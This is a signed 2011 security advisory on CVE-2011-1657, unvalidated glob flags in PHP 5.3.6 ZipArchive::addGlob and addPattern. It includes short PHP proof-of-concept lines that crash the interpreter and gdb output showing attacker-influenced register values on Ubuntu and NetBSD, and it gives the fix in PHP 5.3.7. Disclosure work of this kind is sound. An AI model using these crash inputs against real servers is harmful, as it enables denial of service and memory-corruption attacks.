-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ PHP 5.3.6 ZipArchive invalid use glob(3) ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://securityreason.net/ http://cxib.net/ Date: - - Dis.: 01.04.2011 - - Pub.: 19.08.2011 CVE: CVE-2011-1657 Affected Software (verified): PHP 5.3.6 and prior Fixed: PHP 5.3.7 Original URL: http://securityreason.com/achievement_securityalert/100 - --- 0.Description --- PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. It also has evolved to include a command-line interface capability and can be used in standalone graphical applications. ZipArchive This extension enables you to transparently read or write ZIP compressed archives and the files inside them. - --- 1. PHP 5.3.6 ZipArchive invalid use glob(3) --- Functions like addGlob and addPattern are not described in documentation. Anyway we can call to ZipArchive::addGlob and ZipArchive::addPattern in PHP 5.3.6 http://pl2.php.net/manual/en/class.ziparchive.php let's see ext/zip/php_zip.c 531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) { ... 1629 /* 1 == glob, 2==pcre */ 1630 if (type == 1) { 1631 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|la", 1632 &pattern, &pattern_len, &flags, &options) == FAILURE) { 1633 return; 1634 } 1635 } else { 1636 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|sa", 1637 &pattern, &pattern_len, &path, &path_len, &options) == FAILURE) { 1638 return; 1639 } 1640 } 1641 invalid &flags may provide to crash. To use flags like GLOB_ALTDIRFUNC, we should first declare gl_opendir, gl_closedir, gl_lstat, gl_stat. In PHP we only have 508 glob_t globbuf; ... 530 globbuf.gl_offs = 0; 531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) { for addglob() there are no GLOB flags validation like in php/glob(). Only flags like GLOB_MARK|GLOB_NOSORT|GLOB_NOCHECK|GLOB_NOESCAPE|GLOB_BRACE|GLOB_ONLYDIR|GLOB_ERR should be allowed: - - GLOB_MARK - Adds a slash to each directory returned - - GLOB_NOSORT - Return files as they appear in the directory (no sorting) - - GLOB_NOCHECK - Return the search pattern if no files matching it were found - - GLOB_NOESCAPE - Backslashes do not quote metacharacters - - GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c' - - GLOB_ONLYDIR - Return only directory entries which match the pattern - - GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored. - ---linux/ubuntu--- cx@cx64:~$ php -v PHP 5.3.3-1ubuntu9.3 with Suhosin-Patch (cli) (built: Jan 12 2011 16:07:38) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies cx@cx64:~$ uname -a Linux cx64 2.6.35-28-generic #49-Ubuntu SMP Tue Mar 1 14:39:03 UTC 2011 x86_64 GNU/Linux cx@cx64:/www$ cat zip.php open("empty.zip");$nx->addGlob(str_repeat("*",333333),0x39); ?>cx@cx64:/www$ php zip.php Segmentation fault - ---linux/ubuntu--- Tested with NetBSD glob(3) implementation (netbsd 5.1 and PHP 5.3.6) - ---bsd/netbsd--- unlink("empty.zip"); fopen("empty.zip","a"); $nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("A",1000000),0x39); Program received signal SIGSEGV, Segmentation fault. 0xbb86bb12 in realloc () from /usr/lib/libc.so.12 (gdb) i r eax 0x410041 4259905 ecx 0xc 12 edx 0xbfb00000 -1078984704 ebx 0xbb8c81f4 -1148419596 esp 0xbfbfa980 0xbfbfa980 ebp 0xbfbfa9d8 0xbfbfa9d8 esi 0xfc000 1032192 edi 0x0 0 eip 0xbb86bb12 0xbb86bb12 (gdb) x/i $eip 0xbb86bb12 : mov 0x8(%eax),%edi (gdb) x/i $eax 0x410041: Cannot access memory at address 0x410041 - ---bsd/netbsd--- and now try 'B' - ---bsd/netbsd--- unlink("empty.zip"); fopen("empty.zip","a"); $nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("B",1000000),0x39); (gdb) x/i $eip 0xbb86bb12 : mov 0x8(%eax),%edi (gdb) x/i $eax 0x420042: Cannot access memory at address 0x420042 - ---bsd/netbsd--- A we get mov 0x8(%eax),%edi where eax=0x410041 B we get mov 0x8(%eax),%edi where eax=0x420042 and once again for eax=0x0 - ---bsd/netbsd--- $nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob("aa",0x39); Program received signal SIGSEGV, Segmentation fault. 0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0 (gdb) bt #0 0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0 #1 0xbb86a43a in _malloc_prefork () from /usr/lib/libc.so.12 #2 0xbb86bb9c in realloc () from /usr/lib/libc.so.12 #3 0xbb83610b in __globfree30 () from /usr/lib/libc.so.12 #4 0xbb836cb7 in __globfree30 () from /usr/lib/libc.so.12 #5 0xbb8372d9 in __glob30 () from /usr/lib/libc.so.12 #6 0x083b1fe3 in php_XML_ParserFree () #7 0x083b45b7 in php_XML_ParserFree () #8 0x083b485f in php_XML_ParserFree () #9 0x0846f4b6 in execute () #10 0x084703c8 in execute () #11 0x0846e42d in execute () #12 0x08442b5a in zend_execute_scripts () #13 0x083c776b in php_execute_script () #14 0x08515c23 in zend_get_zval_ptr_ptr () #15 0x08067eb4 in ___start () #16 0x08067e17 in _start () - ---bsd/netbsd--- to get other crash point, change 0x39 to 0x40 or use addPattern() with special crafted zip files. - ---addPattern()--- $nx=new ZipArchive();$nx->open("empty.zip");$nx->addPattern(str_repeat("A",1)); 0x083b21c4 in php_XML_ParserFree () - ---addPattern()--- - --- 2. Fix --- PHP 5.3.7 http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log PR/44959: Henning Petersen: glob forgets to closedir on out of space condition. http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.29&r2=1.30&only_with_tag=MAIN&f=h - --- 3. Greets --- Felipe sp3x infospec - --- 4. Contact --- Author: Maksymilian Arciemowicz Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://securityreason.net/ http://cxib.net/ - -- Best Regards pub 4096R/D6E5B530 2010-09-19 uid Maksymilian Arciemowicz (cx) sub 4096R/58BA663C 2010-09-19 -----BEGIN PGP SIGNATURE----- iQIcBAEBAgAGBQJOTe+XAAoJEIO8+dzW5bUwB2oQALE9LaGuGx/vIJVSlutrUlwi BAZ0LK25kQ+fkr0pS1i/c9lnlMqDYveQbbENsmT+fFLH/T6owrxXtv+jY4fRMDx3 GSwqGoJx2OUSE4k3now7lcnnE6wLYHdru4KNFrHD1usHvxG0OrIX6r3c47k0mzc3 roiuZa6IBnBuGgP8E98D0EhqVqqS0J6Rn1clZVyUsH6Go1IsYuBdArHnh+2LzQvv P+3efriQm7wrmc+/+ew8Wq0cVWDiTWxy6oWbDAsJbMF5ZJYYoryJvQDO5PbMVGVv roHWvgmWHKdo0bwaTT7+g4iWI+QDqsq1vb4R/Th9h9d69S+KrlH4GjvQql0SbW/i eXnwkjnQ89wocjvy1nliH18EV2TpJ2YsHy/NEPClbA+S58LA4lhPaqd48Sz8IAnr Q8b8/WhSNfLVWCLtm/BQU/rpEVfO900M96xnIPIuU+fikJrFKPi6nSbwsZkprF59 hpfUBFrblZWj2Rq65jS29aR1Nhyr0pAtsnvZDRCZDwwgAo60gJ6pcGu5tv1cc9/M bWhTJ3c8CJ4yyh08oVKuG/5LxZDBChXdOYCEhrIR41XlWZa6exG1Kj1jf6lOovw+ ddLoMmHoOl6w+2D0loqLMnDoxA/5A1OFePtWPxl9oWhmI0p732NVneXMNYqDr5H2 3gb21RXwhogib9Cu5LDW =wd9g -----END PGP SIGNATURE-----